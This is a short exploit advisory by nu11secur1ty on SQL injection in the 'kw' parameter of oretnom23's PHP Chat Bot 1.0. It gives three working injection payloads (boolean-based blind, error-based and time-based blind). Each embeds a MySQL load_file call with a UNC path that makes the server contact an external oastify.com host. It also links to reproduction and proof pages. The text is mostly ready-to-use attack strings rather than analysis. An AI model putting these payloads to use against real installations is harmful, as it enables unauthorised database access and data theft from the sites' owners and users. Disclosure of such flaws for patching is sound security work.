Chat Bot 1.0 SQL Injection

`## Titles: Chat Bot - PHP (by: oretnom23 ) v1.0 Multiple SQLi  
## Author: nu11secur1ty  
## Date: 05/22/2024  
## Vendor: https://github.com/oretnom23  
## Software:  
https://www.sourcecodester.com/php/15316/chatbot-app-suggestion-phpoop-free-source-code.html  
## Reference: https://portswigger.net/web-security/sql-injection  
  
## Description:  
The `kw` parameter appears to be vulnerable to SQL injection attacks. The  
payload '+(select load_file('\\\\  
3x1lin0l3hlhoereknh4upxdx43xrufli9aw0kp.oastify.com\\rvo'))+' was submitted  
in the kw parameter. This payload injects a SQL sub-query that calls  
MySQL's load_file function with a UNC file path that references a URL on an  
external domain. The application interacted with that domain, indicating  
that the injected SQL query was executed. The attacker can get all  
information from the system by using this vulnerability!  
  
STATUS: HIGH- Vulnerability  
  
  
[+]Exploits:  
- SQLi Multiple:  
```mysql  
---  
Parameter: kw (POST)  
Type: boolean-based blind  
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)  
Payload: kw=Write your query here'+(select load_file('\\\\  
3x1lin0l3hlhoereknh4upxdx43xrufli9aw0kp.oastify.com\\rvo'))+'') OR NOT  
5452=5452-- yJrL  
  
Type: error-based  
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP  
BY clause (FLOOR)  
Payload: kw=Write your query here'+(select load_file('\\\\  
3x1lin0l3hlhoereknh4upxdx43xrufli9aw0kp.oastify.com\\rvo'))+'') AND (SELECT  
6898 FROM(SELECT COUNT(*),CONCAT(0x717a6a7171,(SELECT  
(ELT(6898=6898,1))),0x717a6b7171,FLOOR(RAND(0)*2))x FROM  
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- ugYc  
  
Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
Payload: kw=Write your query here'+(select load_file('\\\\  
3x1lin0l3hlhoereknh4upxdx43xrufli9aw0kp.oastify.com\\rvo'))+'') AND (SELECT  
3334 FROM (SELECT(SLEEP(7)))MjoP)-- WPgB  
---  
```  
  
## Reproduce:  
[href](https://www.patreon.com/posts/chat-bot-php-by-104709713)  
  
## Proof and Exploit:  
[href](  
https://www.nu11secur1ty.com/2024/05/mvogms-by-oretnom23-v10-multiple-sqli_22.html  
)  
  
## Time spent:  
01:19:00  
  
  
`